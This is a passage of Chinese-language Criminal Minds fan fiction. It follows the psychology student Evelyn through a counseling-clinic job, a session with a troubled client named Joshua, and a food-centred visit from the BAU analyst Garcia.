摩根意味深长的看了眼身侧安静吃饭的瑞德,无声的和加西亚挤眉弄眼。
就连严肃如霍奇都忍不住想要调侃两句,他瞥了眼瑞德的表情,笑着道,“是朋友?”
JJ和艾米丽都放下叉子倾身,一副八卦的样子。
被众人齐齐注视的瑞德抬眸,舔掉嘴角的奶油渍,想了想又拿着帕子擦了擦,一系列动作后才沉吟片刻道,“不知道。”
瑞德确实不知道算不算朋友,毕竟他们说是真正意义上的认识也只是在医院分享食物的那一天。相处的很轻松愉快,关键是零食很好吃……
但这些又和摩根他们长期相处的朋友关系不一样,于是瑞德仔细思考,得出了三个字,不知道。
这三个字,让摩根大失所望,摇了摇头,“男人,你该振奋起来!”看到美丽的女人要电话方式不应该是一种本能吗?
摩根眯着眼回忆了一下血肉模糊的被抬出来的伊芙琳.蔡司,没看出来长相,但大致凭着夜店小王子的经验感觉应该是个美女。
瑞德撇开头不想参与摩根无聊的对话,起身去找果汁去了。
众人被吊的不上不下,直到罗西又抛下一盆冷水,“他们连联系方式都没有交换。”
好吧,本以为能有一段新感情让瑞德振作起来,结果人家都没有交换联系方式。
这是双双无感的样子。
小组的成员们继续填饱肚子,准备回房收拾行李回家。
不过加西亚咬着叉子看了眼瑞德在饮料区挑选果汁的背影,又想起了地瓜干……
黑客女王眼珠子滴溜溜一转,眼底带着狡黠。
7. 老师介绍工作
这天下午四点下课后,伊芙琳将笔记本放进背包里,拉上拉链坐在那等朋友收拾完,两人一起去超市。
不过她也没着急起身,撑着脑袋看翠丝将她的眼影、睫毛膏、饼干袋以及若干摆满桌子的杂物划拉到自己的背包里时她打了个哈欠。
早上妈妈走的太早,她被吵醒了睡眠有些不足。
这时候翠丝的饼干袋没有密封严实,奥家的巧克力夹心饼干咕噜咕噜掉出来两块,她捡起来一块直接塞嘴里,另一块当然不忘了自己的好朋友,给伊芙琳之前她还噘嘴吹了吹。
伊芙琳并不觉得细菌和灰尘能被吹掉,她伸手挡住了分享过来的食物,刚准备说说朋友这不卫生的举动,就听到高跟鞋优雅的哒哒声不紧不慢的踩着台阶上来。
俩人一看,是心理学的梅里老师,这位教授出版了一本青少年心理书籍,是一本老少皆宜的家庭读物,非常受欢迎,里面很多的知识还有许多自救的小方法,重点是通俗易懂。
五十七岁的梅里是一位不婚主义者,日常与学生们相处时,哪怕是翠丝这个总想拉人结婚的狂热分子,偶尔也觉得这不结婚好像也活的很不错。
梅里将手里提着的浅粉色蛋糕盒放到了伊芙琳面前,浅棕色的双眼温柔的打量着小姑娘的神色。
看了一会,她才柔声道,“精神状态不错,要继续保持。”
伊芙琳看着烫金花纹的草莓芝士蛋糕,一时间被老师温暖的话感动的鼻子都要泛酸了,翠丝在一旁盯着蛋糕口水直流。
梅里不打算再度揭开学生的伤疤,她问道,“你有兴趣从急诊热线转到心理咨询诊所做兼职?”
伊芙琳抬头,她疑惑的看向自己的老师。
“并不是以独立咨询师的身份去做兼职,而是助手。你的参与时间会算在你的督导时间之内,如果你能坚持下来,你会比其他人更快的积攒三千小时督导临床经验。”
伊芙琳听到这里眼睛一亮,心理咨询师的要求和医生一样严格,其中一个就是需要时间的积累,还是三千小时的时间积累,如果毕业后开始计算,不眠不休一天九个小时也得干333天就是一年的时间才能独立工作。更何况实习期哪里会有人找她咨询,三天接待一个都很悬,而咨询大多最长不超过两个小时……
照这么算下去,实习过后毕业了一两年之内都不能攒够三千个小时。
两三年之内是就更不要想着独立工作。
如果现在就可以提前……
这完全是一份非常好的兼职工作。
伊芙琳眼睛都亮了,梅里看在眼里笑了笑,给她一张名片,“我给你一点时间休息,下周六早上九点可以吗?”
“我已经休息好了老师,”伊芙琳甜甜的和老师笑眯眯道,接过名片道“我会准时过去。”
欢乐的情绪在轻松的环境下轻易不会散去,伊芙琳抬手看了看时间,提着蛋糕起身,一旁的翠丝眼睛跟着蛋糕走,屁股还死死的黏在座位上。
伊芙琳无语的拍了拍她头顶上的爆炸发髻,一手摸下去比钢丝球差不了多少,“到我家在吃,你口水都要流下来啦。”
不过不要说翠丝,她闻着蛋糕盒子缝隙传出来的香甜也有些忍不住。
翠丝擦了擦嘴角的口水,她不以为意道,“那个恶毒后妈连零花钱都给我扣了一半,我都好久没吃蛋糕了。”
从妈妈到恶毒女人再到恶毒后妈,提亚女士在自家女儿翠丝的口里换了三个身份。
伊芙琳骑着车,翠丝在车后座不停的抱怨她的恶毒后妈不仅扣了她一半的零花钱,周六日都不让她回家开荤。
联合湖附近的超市找了好久才找到细长的生地瓜,辣条她是做不出来那种味道,于是买了两斤排骨准备晚上做一个糖醋排骨解解馋。
翠丝还想吃麻辣牛肉丝,伊芙琳又买了些牛肉。
伊芙琳的妈妈,维多利亚女士去警局多方打听后,得知独身女孩住在市内的楼房比住在郊区的独栋别墅安全一些。
于是为了女儿的安全着想,维多利亚最终买下了这套位于联合湖畔的高级公寓。
一千三百平方英尺,大约400平米。
这整栋大楼有一百多年历史,伊芙琳住在最顶层,房间采用大量的玻璃墙体,露天阳台被上任主人改造成了室内花园,顶层没有任何遮挡阳光很足。
不过伊芙琳刚住进来不久还未亲自去花市挑选盆栽,所以这个室内花园看着有些冷清。
一楼是厨房、一间公共卫浴、客厅和三个卧室,楼上是一间书房和一间健身室。
健身室被母女俩不约而同的换成了衣帽间。
伊芙琳不是一个热爱打扮的人,但维多利亚女士很喜欢给女儿买衣服。
换成衣帽间主要的原因也是妈妈给她买的衣服太多了……住在哪一间卧室都装不下,不如将闲置的健身房改造。
维多利亚女士早早被伊芙琳劝回了克利夫兰,当然还有一个重要的原因是,艾美奖公布的入围名单里有她的名字。
委婉地劝了好久没有起到什么效果,艾美奖入围名单公布的当天早上,伊芙琳迷迷糊糊的从房间出来,就看到母亲站在门口从头到脚精致的如同下一秒就要去艾美奖的颁奖典礼上,拎着行李连拥抱都来不及,和伊芙琳匆忙的
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隔空飞吻后人就消失了。
在一起有些烦,但妈妈一离开,伊芙琳还有点不舍得,甚至觉得突然好孤单,然后就抓着翠丝回家陪她住。
而翠丝恰好被她的好朋友以及好朋友的男朋友咬牙切齿的打包踹了出去————因为翠丝不去别的房间,生生的在人家小情侣卧室打地铺。
伊芙琳听了后也送了翠丝两个字,活该。
翠丝被伊芙琳邀请时,顺敢往上爬抱着自己的行李还有装备,就是刚才在学校桌子上的一堆化妆品还有一整盒气球套。
就准备好和伊芙琳回家住。
伊芙琳不是很明白翠丝平日的生活作风,她一直说她是个虔诚的信徒,从不会在婚前做出不好的事情……但是那一大盒………
麻辣肉丝炝锅的时候味道太大,伊芙琳被呛的直打喷嚏,一旁的翠丝拿着叉子捧着一小碗排骨当饭前小甜点,一块排骨进去三秒就吐出来干干净净的骨头。
“我前几天在杰米的教堂外看到毒寡妇和一个男的吵架,我就问了一嘴他俩啥关系,结果你知道杰米说了什么吗?你绝对猜不到。”
伊芙琳将火关掉从冰箱上层的冷冻室拿出来一份冰块出来,八卦嘛,谁都爱听,伊芙琳也不意外,她问了一嘴,“他们什么关系?”
翠丝跟着好友后屁股来到餐桌旁,帮着把冰块倒进一旁煮好的热苹果汁里,她一边道,“毒寡妇为他打掉了一个孩子,这俩人的事被男方的母亲知道后,那位母亲在教堂和牧师忏悔了两个小时,杰米听的都快睡着了”
“那个男的好像叫什么约翰?也不对好像是叫约书亚,长得还挺女气的,看着就不是个爷们。”翠丝最喜欢长的威武雄壮的男人,最好两人睡觉的时候能将她一米七五的个头从头到脚的包裹着……
翠丝做梦都想体会到那种温暖的后背式拥抱……
伊芙琳拿着筷子将葱姜挑出来后,夹了一块排骨塞到翠丝的嘴里,“吃饭吧。”
这八卦听的到是没什么意思。
两人收拾收拾后跑到空荡荡的室内花园窗边,一人抱着一个毯子,各自干各自的事。
不过没成想,这件没意思的事,在兼职还不足一个星期后变得有些刺激了。
被当作受害者死前见到的最后一个人,伊芙琳莫名其妙的又卷入了连环杀人案。
而那家心理咨询诊所的主任更是如同天塌了一般如丧考批。
伊芙琳隐隐听过一些传闻,据说这家诊所几年前有一位心理咨询师利用受害者的弱点杀了十多个人?
反正,伊芙琳当时真是看到主任两鬓生生滋出了四五根白头发……
8. 患者脱口而出的名字
周日一大早,刚从被窝爬出来,就感觉到室内凉丝丝的,她只穿了一套短袖睡衣。
洗漱完的伊芙琳披了一件薄外套拧开房门的锁,开门就闻到了一股说不出的味道。
路过旁边敞开大门的卧室,就见好友翠丝披散着爆炸头,脸朝地卷缩在地毯里,估摸是睡到后半夜冷了顺手将地毯扯到身上。
简直是一个黑芝麻春卷。
伊芙琳跨过翠丝横在门口的身子,来到窗前时高空中湿润的冷空气卷入室内,远处暗绿色森林掩映的联合湖上漂浮着一层层白色的雾气。
就看着这层冷冷的白雾,就证明昨夜骤然降温了多少度,伊芙琳将春卷搬上床。
靠近后那浓郁的酒臭味熏的伊芙琳难受极了,她真想不管了,可要是翠丝感冒了,相信自己的直觉吧,好友绝对会拿着鸡毛当令箭,伊芙琳别想消停了。
她拖着人抬上床,看着躺到床上就自动裹着被子睡的香甜的好友,她决定这套四件套以后就是翠丝专属的。
伊芙琳是绝对不会再用了,即便她会将这套床上用品洗干净。
打开电视,伊芙琳在厨房料理台处理自己翠绿的小葱,一共六颗小葱,浇了水后毫不留情的剪掉一颗。
葱丝炒蛋,黄油蒜片炒卷心菜,伊芙琳盛了一碗米饭就站在料理台吃饭,而电视里出现了一则本地新闻。
CNN紧急插播,显然天还是黑着的,镜头是俯拍的角度。
警车的车灯点亮了角落,光线下还能清晰的看到雨雾,警员的身子遮挡住的角落,只能看到青草上喷溅的血液,还未被雨水冲刷。
电视画面里很多记者被拦在警戒线外,伊芙琳还看到了亨利警探。
镜头中亨利警官满脸严肃,甚至有些不耐烦的避开了话筒,记者如何询问都不开口,尸体被抬出来后他就跟着离开。
一闪而过的大片血迹让伊芙琳有些不适的关了电视,将自己的东西收拾好留了一张便条贴在翠丝的脑袋上就出发去心理诊所。
眼见着乌云密布,不知道何时又会来一场雨,伊芙琳选择打车去上班。
和前台的护士道了声早上好上楼,还未敲门就听到里面传来的交谈声。
“……完全不符,他没有任何抑郁的倾向,如果您说的是他装作很难过的样子,那我承认他装的非常像抑郁症患者。总之我不愿意浪费时间在约书亚身上,我建议您直接将约书亚交给伊芙琳。”
伊芙琳没有继续听下去,她敲了敲门。
里面传来一声请进。
伊芙琳推开房门,一眼就看到汤恩医生和科里恩主任站在窗边齐齐看向她。
科里恩主任是一个头发已经银白的老人家,不过不是满头银白,他只有两鬓还残存两朵银白小花,而头顶是闪闪发光的头皮。
矮胖矮胖的科里恩主任冲着伊芙琳招手,和招财猫的爪子有点像,招手时蜷缩起来的样子。
“来的巧了这不是,伊芙琳,正巧你昨天已经熟悉的差不多了,今天就交给你一个任务,正常心理问题,你看着给他疏导疏导就可以了。”
汤恩医生四十多岁了,离地中海有些遥远,头发茂密的厉害,不过脸色有些不太好,他似乎想和伊芙琳说什么。
不过还未开口,一旁的主任将桌子上的档案盒子交给伊芙琳,“你看一看他的情况,下午一点过来,你做好准备,小伙子帅得很,我可不想我可爱的小助手被患者勾走了……”
伊芙琳明显看见科里恩主任意味深长的瞥了眼汤恩,然后哼了一声。
而汤恩医生摸了摸鼻子,脸色和缓起来不过却多了一份局促,瞥见伊芙琳好奇的目光他咳嗽了一声,从裤兜里掏出手看了眼时间,声音有些大的强调“哎呀,都这时候了,伊芙琳你昨天不是说不是还有事要问我吗?走走走,我这个前辈跟你好好说说。”
好尴尬的自说自话,科里恩主任看着汤恩逃出去的背影嫌弃的啧了一声,“渣男!”
伊芙琳满头问号的抱着档案盒离开,刚要路过汤恩医生的咨询室,就见人刷的开门将她拉了进去然后刷的关门。
人在屋里,小姑娘是一头雾水,见汤恩医生已经转身去档案柜里掏出来一份透明夹子文件。
“这个约书亚,”汤恩蹙眉道,“他很奇怪。”
伊芙琳认真的听着汤恩医生的话,不过她每次听到这个名字总感觉有些耳熟。
“不过简不简单跟咱们没关系,”汤恩医生并不认为一个小混混能做出什么不简单的事,只是建议伊芙琳听着对方讲就行了,主打一个倾听和陪伴。
“他就一个小时的咨询时间,而且每次都会去厕所蹲二十分钟左右。”
汤恩医生给了伊芙琳一个你懂的眼神,说完话将人推了出去“他下午一点过来,你这上午就看看他的资料吧。”
伊芙琳兼职的助手做的就是一些个案咨询。
接待来访者进行初始访谈,收集信息评估危机并制定咨询方案交给主任。
来访者是学业压力问题和人际关系等常见心理问题的咨询,大部分都是助手来做。
这种常见心理问题所需的时间很短,大致八到十次基本可以结束,一般来说大部分人都会在中途寻找社区中心的互助小组。
评估到自杀倾向、家庭变故等就需要主任亲自出面。
主任和汤恩医生一致认为这位约书亚可以让伊芙琳接手,那约书亚显然没有严重的心理疾病。
毕竟这两位在心理学界也是数一数二的人物。
不过装的很像抑郁患者?
约书亚如果不是抑郁症患者为何要装?
伊芙琳回到房间,坐下喝了口水就开始翻看约书亚的资料。
都是一些约书亚谈恋爱的记录,如何快速的和女方滚床单之类的……汤恩医生的字迹似乎有些潦草到最后过于用力,那单词的一个小尾巴划出去纸都裂了……
咨询室的门被敲响时,窗外传来刺耳的警笛声,伊芙琳回头看了眼一晃而过的警车,起身将身后的米色格子窗关上,拿了几本书压在约书亚抑郁症诊疗咨询记录上才扬声道,“请进。”
伊芙琳绕着桌子上前,就见门被推开,来人约莫五十左右,女性,身姿很挺拔,一身黑色套装,表情严肃,眉间都是长年累月挤压的皱纹目光锐利的看向伊芙琳。
右手上还提着公文包,那公文包上似乎有一个反光的徽章,伊芙琳冷不丁想起来洛根怀特那个儿子所在的小学。
九点半,已经有一波咨询者来心理诊所,隔壁的汤恩医生和患者打招呼的声音传了过来,女人拖着下滑的黑色眼镜框哼了一声。
目光落到伊芙琳身上,那眉头更是紧紧的皱在一起。
“你就是我儿子接下来的心理咨询师?”女人声音都带着威严,她也不等伊芙琳开口,自己自顾自的坐到一旁的躺椅上,这里只有两张椅子,一张专供病人的躺椅一张在桌子后面。
“关于我儿子的事,我想提几点要求,当然我跟汤恩医生也说过,不过没什么效果。”女人看着很不满意的样子,“我的要求不难,让我儿子打心眼里喜欢学习并能够坚持努力的考上哈佛大学,以后你们诊所的客源我都包了。”
伊芙琳在这一刻,突然觉得这个女人应该不是约书亚的母亲,或者这个女人是汤恩医生推给别人的患者家属。
毕竟一个以自己得了抑郁症在治疗的儿子,做母亲的应该不会这么强势的在儿子病了还强压着医生给她儿子催眠好好学习天天向上。
伊芙琳觉得这位女士说的话意思就像是医生能够催眠人的感觉。
不过接下来的话证明这个女人的确是伊芙琳接手的患者的家属,这位女士道,“约书亚闹腾了这么久,我是不相信他有抑郁症的,即便那个案子……”
伊芙琳注意到,女人在说起那个案子时,双手无意识的交叠在一起搭在包上,瞳孔有些扩散,似乎是在用余光打量了伊芙琳一眼后,见她没有发现什么才放下手拿着包突然起身。“总之,我知道他不是抑郁症,就是不爱我逼着他考试,既然来了这里,你们看着办吧。”
女人脚步匆忙的就要走,走到门口突然顿住,转身和伊芙琳要了电话。
彻底将人送走,伊芙琳关上门,站在门口半晌
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才喃喃道,“这是家长都不信任自己的孩子得抑郁症了。”
母亲是一个教导主任般的人物,伊芙琳以为下午一点看到的会是一个腼腆带着书卷气的复读男孩。
直到人站在眼前,伊芙琳第一个想到的就是非主流。
左边的头发遮挡住了半张脸,右边的头发剃成了青壳,叼着烟进了门,居高临下的看见了自己新任的咨询师,约书亚冷笑一声,将嘴里的烟全吐到了伊芙琳的脸上。
本就不喜欢刺鼻味道的伊芙琳没有丝毫准备,咳得惊天动地。
门口路过的前台护士姐姐看到小助手妹妹被堵在门口欺负,直接上前让约书亚将烟熄灭。
“我们这里是不允许吸烟的先生,请您遵守。”护士看了眼捂着嘴缓了过来的伊芙琳,才离开。
约书亚撇了撇嘴,将烟头徒手掐灭扔进了垃圾桶,进门直接躺到了躺椅上,双手交叠看着关上门的伊芙琳,他略带讽刺的意味道,“汤恩没和你说吗?关上门我会害怕!”
伊芙琳从对方进门后的举动和说话的语气态度,她有百分之二十相信汤恩医生和约书亚母亲的话了,但还有百分之八十需要她自己分辨清楚。
无论如何,总还是需要更严谨一点,毕竟一个弄不好也会出人命的。
秉承着来者都是需要呵护的原则,接下来的时间伊芙琳听了半个小时的约书亚恋爱史。
“……女人都是这么好骗的,”约书亚脸上带着一种得意的满足感,不过转瞬即逝。伊芙琳还未收回视线,就被约书亚一句话问得愣住了。
他偏头看了伊芙琳一眼,然后冷不丁的起身,转过身和伊芙琳面对面,窗外淅淅沥沥的下着小雨,两扇格子窗被雾一样的雨水覆盖,街道上的车辆都看不清晰,只有一晃而过的黄色光晕时不时的打在伊芙琳的肩膀上,她起身开灯,背后的人轻声道,“你们女人都是表里不一的吗?”
“什么?”伊芙琳回头盯着约书亚的眼睛,不过里面什么都没有。
约书亚懒洋洋道,“那女人和你说了吧,我的抑郁症是假的,她准备让你们催眠我考上世界一流的大学。”
“如果世界上所有事催眠一下就全忘了倒也算是好事,可惜,她想太多了。”
那女人?他们母子的感情似乎不太好的样子。
突如其来的,伊芙琳也说不清的,一种若隐若现的感觉。
这种感觉让伊芙琳内心反问自己,这是汤恩教授说的装抑郁?
她内心的直觉告诉自己,或许哪里有偏差。
被头发遮住半张脸的约书亚低着头百无聊赖捏着指根,说完话抬手看了眼手腕上的时间,他起身道,“我要去上个厕所。”
伊芙琳难得在汤恩医生的建议下头铁选择另一种方式。
她率先扬起嘴角笑了笑,见约书亚不耐烦的准备扒拉挡在门边的她,伊芙琳轻声道,“催眠是一个很难学的手艺,不过我恰巧学了一点,不过不知道好不好使,但您可以试一下,万一成功了……”
伊芙琳看着面前的人,话在嘴边反复琢磨才道,“万一能够变成学霸?当然这种太高难度了我还没学,只学了一点点让人失忆的小技巧。”
约书亚退人的手顿了顿,伊芙琳趁机说“你放心,催眠不管用我敲你一闷棍也差不多了……”
男人无语的看了伊芙琳一眼,然后低着头不知道想什么,没一会自己躺在躺椅上,还威胁伊芙琳,“要是不成功我敲你一闷棍。”
约书亚躺在躺椅上,双手交叠放在胸口,像是埃及木乃伊,目光涣散不知道在发什么呆,伊芙琳从脖子上摘下来一条带着一颗米粒大小的红石榴吊坠,站在约书亚面不经意的随口问了一句你想忘掉什么?
伊芙琳总觉得这人不太像是装的,于是她也想尝试一下,找到传说中的症结所在……
约书亚盯着红色的坠子,他缓慢的眨了眨眼,喃喃道,“忘掉特蕾莎……”
红色的石榴石越发艳丽,红的如同血一般,约书亚脸色骤然难看的厉害。
还未等伊芙琳张口,对方捂着肚子咬牙道,“我要拉肚子,憋不住了!”
9. 加西亚的到来。
大学西门有一家新开的甜品店,伊芙琳买了几次,味道都很不错。
味道不错价格实惠,当然就吸引了很多人。
简直是一望无际呀,伊芙琳刚出校门口,就看到了甜品店外大排长龙。
难得没有小组作业,周一周五和周六日才有兼职。
伊芙琳也就悠闲地站在末尾等待,不过也不能干等着,她想起自己书包里新借的书。
2009年的华国国内,言情小说已经有了不菲的成果,从一个读书小组的华国留学生手里借了这本《上错花轿……》。
前世伊芙琳也只看过电视,但没想到原版小说比电视还要好看,不过没想到人家刘笙同学长着一副理工科男一样,像是断情绝爱不识人间烟火的样子。背地里看得比谁都(花)情真意切,他手里有一套珍藏的武侠小说,上面还有那位大师的亲笔签名。
伊芙琳和他借武侠小说时,对方看了她一眼直接拒绝,甚至倒退三步,问就是珍藏的宝贝不外借。
其实连普通版本的《上错………》他都不想借,还是伊芙琳用完美的母语般中文和他探讨《梦回……》等一系列的2009年前出版的言情小说后,他才将《上错……》借给了伊芙琳。
当时伊芙琳从对方那张冷脸看不出什么,不过某一天她就突然明白了,对方为什么那么抵触。
换位思考,如果是伊芙琳,她会将有可能成为绝版的宝贝借给翠丝吗?
之前是不情不愿的,翠丝太邋遢,伊芙琳也怕对方弄脏自己的书,不过出于对朋友不要太吝啬,她还是将自己的枕边读物借给她。
然后,这家伙干的好事!
刘笙同学书籍用英文报纸包裹的书皮,里面每一页都是干干净净的,没有水渍没有油污……更没有鼻血!伊芙琳保护的很好。
而洋鬼子翠丝,这个女人进了读书小组后第三天因看着刘笙同学看着看着,鼻血滴到了伊芙琳借给她的书上……
那本书也不是珍藏版,但陪着伊芙琳也有五六年了,任何东西在加上时间后都会变得很珍贵。
伊芙琳整张脸拉长了好久,看着翠丝那双蓝眼睛都深邃了不少,刘笙在一旁还挺稀奇的自言自语道眼睛还能变色牛批!
虽然事后翠丝百般抵赖说自己不是看刘笙流鼻血,而是这几天确实内分泌不调上火了才流鼻血。
哼,伊芙琳直接和组长提议将她踢出去,翠丝这家伙本就是为了粘着伊芙琳,退了也没什么感觉反而如同解放了一样,出了教室就没影了。
伊芙琳当天晚上洗完澡就去找翠丝算账。
不过新买奶黄色的小拖鞋都在门口要进去了,那只脚说什么都不愿意踩下去了。
木质的门框似乎就是分界线,硕大的书包扔在门口,奥家被压碎的黑色饼干块从书包拉链口吐了出来。
学科的书籍、打印纸、笔还有眼影盒零食渣渣一路到床边,而几天前还干净整洁的床上扔了好几件衣服内衣,罪魁祸首顶着一头解禁的爆炸头戴着耳麦撅着屁股在那摇……
伊芙琳深吸口气没忍住磨了磨自己的牙,瞥了眼落地窗外,好在对面没有建筑物。
磨了半晌才想起来自己的一颗后槽牙是假牙,经不住她使劲磨,这才鼻子喷火将自己被玷污的大宝贝眯着眼瞄准了对方的大屁股,直接砸了过去!
给了哀嚎的摸着尾椎骨的女人两个选择,一个还钱一个买同样的书给她。
说实在的那本书十五美金不贵,一般书籍大多都是八到二十美金左右,伊芙琳知道这女人买零食一次去超市都不止十五美金。
但没成想那本十五美元的书,成了压垮翠丝的最后一根稻草,欠了一屁股债的翠丝不得已现在每天在自家楼下哭着喊着和妈妈道歉顺道要钱……
而那间卧室,伊芙琳是不准备替她打扫,得想个办法让她快去霍霍别人吧。
伊芙琳思绪飘了回来,视线挪到《上错……》白衣男主和师傅下棋那一段,跟着前面慢吞吞地挪着。
天边的云朵遮住了太阳,伊芙琳伸出手指勾了落到眼前的头发掖到耳后。
就在这时,身后传来一声压低的询问,“你是伊芙琳.蔡司?”
伊芙琳回头一看,发现身后的人,她并不熟悉。
浑身张扬的粉,粉色的软羽毛插在蓬松的双马尾卷发里,带着粉色小天使翅膀的粉边镜框,一身粉色短款连衣裙,眼睛布灵布灵的看着她,胖嘟嘟的,笑的倒是很可爱的。
不过对于陌生人突如其来的搭讪,伊芙琳内心抱有百分之百的警惕,坏人可不分男女,更不分长相……
“您有什么事?”伊芙琳并没有顺着对方的话说自己就是伊芙琳,而是反问对方。
粉色芭比眨了眨眼睛,似乎看出了伊芙琳的警惕,她连忙语速飞快道,“我是瑞德的同事,我之前在资料里见过你的照片,哦对了你可能还不认识我,你可以叫我加西亚。”
提到瑞德博士的名字,伊芙琳卸下百分之五十,不过她还是将书包在怀里,保留一点点安全感。
加西亚也是个在BAU干了很长时间的人,虽然只是一个电脑小王后,可时间长了还蛮会看人脸色的,她知道伊芙琳还未完全相信她。
女王哀叹面前小姑娘瞧着一副很好骗的样子没想到警惕心那么重,一边有些羞涩的凑到伊芙琳身边小声道,“实际上,我来这是想问你在哪买的地瓜干……”
伊芙琳听到这里已经差不多信了,然后等她反应过来的时候,就已经热情的带着自己的救命恩人之一的加西亚坐到了一家中餐馆里。
这家餐馆经过伊芙琳三年风雨无阻的不定时考察下,依旧美味如初且味美价廉。
不过说是餐馆也有些太小了,店铺小小的挤在肯爷爷和炸鸡便当店中间,像是受气包一样,里面摆了两张靠墙的方形小桌就没有多余的位置了。
一共就两张小桌子,进门时伊芙琳不动声色的路过了带着女友来吃饭的刘笙,对方也如同没看见伊芙琳,正一点眼力见都没有在女朋友的筷子下抢了好多夫妻肺片,那姑娘倒是丝毫没有生气,而是满脸‘慈爱’的看着刘笙,然后端起盘子将一点没动明显是被谁扒拉到一边的翠绿香菜弄进刘笙的碗里。
伊芙琳再没看刘笙绿的和香菜一样的脸色,坐下后询问加西亚能不能吃辣。
店家是川渝人,做的一手好菜,不过不能吃辣的人就享受不了这独特口感的美食。
墨西哥辣都有人都接受不了。
加西亚兴奋的伸手,头顶上粉色的长绒毛都跟着手挥起来的小风东倒西歪,“我最喜欢吃辣的。”
如此就好,伊芙琳点点头。
唯有美食不可辜负,浪费一秒时间都是可耻的,伊芙琳和
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老板点了一份宫保鸡丁、水煮肉片、夫妻肺片,然后顺道和老板要了一盆米饭。
身后的刘笙一声不吭,而她女友,那个漂亮的华国小姑娘亲切的问他还要不要再来一盘夫妻肺片,直言香菜一定会让老板多放,一定管够。
这可爱的互动让伊芙琳忍不住抿着嘴笑了一下。
加西亚倒是没注意,而是低头看了眼手机。
听到一盆米饭,加西亚还没什么反应,毕竟她很少吃中餐,只有偶尔两次和组员聚餐时吃过,加西亚看着对面身材纤细的小姑娘,只以为这个盆和她想的不太一样。
或许很小?
菜等一会才上齐,加西亚双手撑着脑袋道,“你送给瑞德的零食我们都尝了,很好吃。”
“地瓜干和杏脯吗?”
加西亚睁大眼,“还有别的吗?哦天,瑞德太过分了,我都没有吃到,就连地瓜干也是我饿的受不了瑞德才拿出来,当时袋子里只有三片。”
加西亚满脸惋惜,“我都没好好品尝呢,都不知道什么时候就进肚子里了。”
“伊芙琳你能告诉我你在哪里买到的吗?我想囤一些回去,有时候打游戏嘴巴可太寂寞了,炸鸡汉堡我都吃腻了。”
如果是辣条,伊芙琳是爱莫能助,但地瓜干……
她确实做了一些,并且还有剩余。
加西亚过来找伊芙琳,主要是因为吃的,这当然是她不远万里坐飞机来这里的主要原因,不过其次嘛,嘿嘿加西亚女王好奇呀,任何一个和瑞德相处的女孩子小组的成员们都忍不住想入非非。
倒也不是他们很八卦,而是瑞德身边出现的姑娘太少了,而且工作性质的原因,他们很少会有时间认识一个人然后谈恋爱。
组里不是离婚就是分手再不就是单身……BAU迫切的需要一个甜蜜的热量注入,最近也就瑞德接触了一个让他们可以想入非非的对象,虽然罗西说的很明确两人不来电。
但架不住加西亚女王有一个当红娘的心呀。
不过加西亚红娘还未施展自己蹩脚的凑对技术,就听伊芙琳有些犹豫道,“您要是不急着回去,可以去我家里,我做了一些地瓜干,口感不能说一模一样但也差不多。”
这句话将加西亚红娘变成了加西亚吃货,三观跟着嘴巴走,伊芙琳一句话她瞬间忘了凑对,菜上来后更是话都不说了甩开腮帮子。
一盆米饭加西亚就吃了半盆,就在这时,加西亚放在桌上贴满了粉色贴纸看不清本来颜色的手机响起了铃声。
铃声一响,加西亚欢快满足的胖脸在水煮肉片的热气蒸腾下有一瞬间如丧考批,她的情绪来的都很明显,伊芙琳还提着筷子,上面的大片牛肉沾满了汤汁。
加西亚咽了咽口水,她最开始还比较严肃,听到后来她惊讶道,“哎呀,好巧我就在西雅图……好,我等你们。”
伊芙琳嚼着牛肉,加西亚不舍得看着面前还未吃几口的饭菜,“瑞德他们等一会儿就过来,我得走了。”
加西亚觉得自己还能干掉半盆饭,但奈何时间不允许,她摸了摸自己只吃了五分饱的肚皮叹口气。
“打包的话,你们有加热的地方吧。”伊芙琳将筷子放下提议道,“他们家红糖糍粑也很好吃,一起打包吧。”
“哦~”完全赞同的加西亚捧着脸,“伊芙琳你是一个可爱的小天使。”
10. 造孽啊
小组成员一个半小时才到西雅图机场。
一行人来得匆忙,只准备在路上的便利店买点面包垫垫肚子。
JJ和艾米丽去找加西亚,刚敲了门就听到房里似乎不止一个人的声音。
两人面面相觑,没听说加西亚还有朋友在这。
门被打开,两人率先看到的就是站在门口的粉嫩的加西亚,对方嘴巴里还有东西呢,一边嚼一边道,“等我一下我马上就好。”
没有加西亚胖乎乎的身子遮挡,JJ看到了坐在电视边冲着她们摆手的伊芙琳。
伊芙琳在这里的原因,是她回了趟家将自己做的零食送到酒店的,本来准备走的,结果被人家嘴里的八卦硬生生的留到了现在。
因为工作性质,加西亚说的八卦当然不会涉及工作和同事方面,只是聊着自己在交男朋友方面都干了哪些有意思的事,伊芙琳听得津津有味……
门被敲响的时候,她和加西亚面对面盘着腿,一边嚼牛肉干一边和加西亚说牛肉干的做法。
伊芙琳也只能说一些食物的制作方法,她可没有任何的恋爱或者暗恋经历可供加西亚八卦。
不过对于她贫瘠的恋爱史,加西亚是用一种看世界上最后一只恐龙的目光看着伊芙琳,稀奇的不得了,还连问了好几次。
伊芙琳被问到最后,她也只能将自己凭着本事单身至今的内心想法说给加西亚听,闲聊嘛,又没什么不好意思说的。
“没有人追我,也遇到过长得不错的男孩子,但是只见了一次面就完全没有心思了,我不喜欢花心的男人,那种流连酒吧的和女孩子暧昧的男孩,更不喜欢见一面就要上床的那种男孩儿,这让我觉得很冒犯。”伊芙琳望天想了想,她纠结道,“我想找一个对家庭有责任感有担当的人,但是直到现在我似乎都没有遇到过。”
加西亚当然知道现在的恋爱观,和伊芙琳想要的那种完全相悖。
M国男女大多崇尚自由开放的关系,有的刚认识一个小时就可以……
加西亚也接触过几个,不得不说,之前没什么想法,听到伊芙琳这么一说也不禁陷入沉思。
伊芙琳托着腮咬着牛肉干道,“爱情呀,至死不渝不离不弃,相伴到老恩爱两不疑……”
说到这里,不说加西亚,伊芙琳都一脸持保留意见的态度,毕竟上述的爱情,两人都没见过。
不过向往还是很向往的,加西亚都被打动了,忍不住幻想了一下。
然后咬了几口牛肉干,两个吃货瞬间从迷离的状态清醒过来,加西亚翻来覆去的夸这个麻辣牛肉干好吃,夸的伊芙最后干脆和加西亚借了纸笔,含着半截牛肉干,刷刷刷写了一份配方,不过配料的克数她还真说不出来。
JJ敲门时听到的,其实就是伊芙琳和加西亚说什么叫适量,华国式适量。
伊芙琳吃了川菜后热的将头发高高的拢在脑壳上扎了一个丸子,一根软软的蓝色发带落在耳边,正将一些食物包起来给加西亚,对方要带上车和伙伴们一起吃,JJ说起大家还没吃晚饭。
因为有些匆忙,伊芙琳才顺手帮忙装东西。
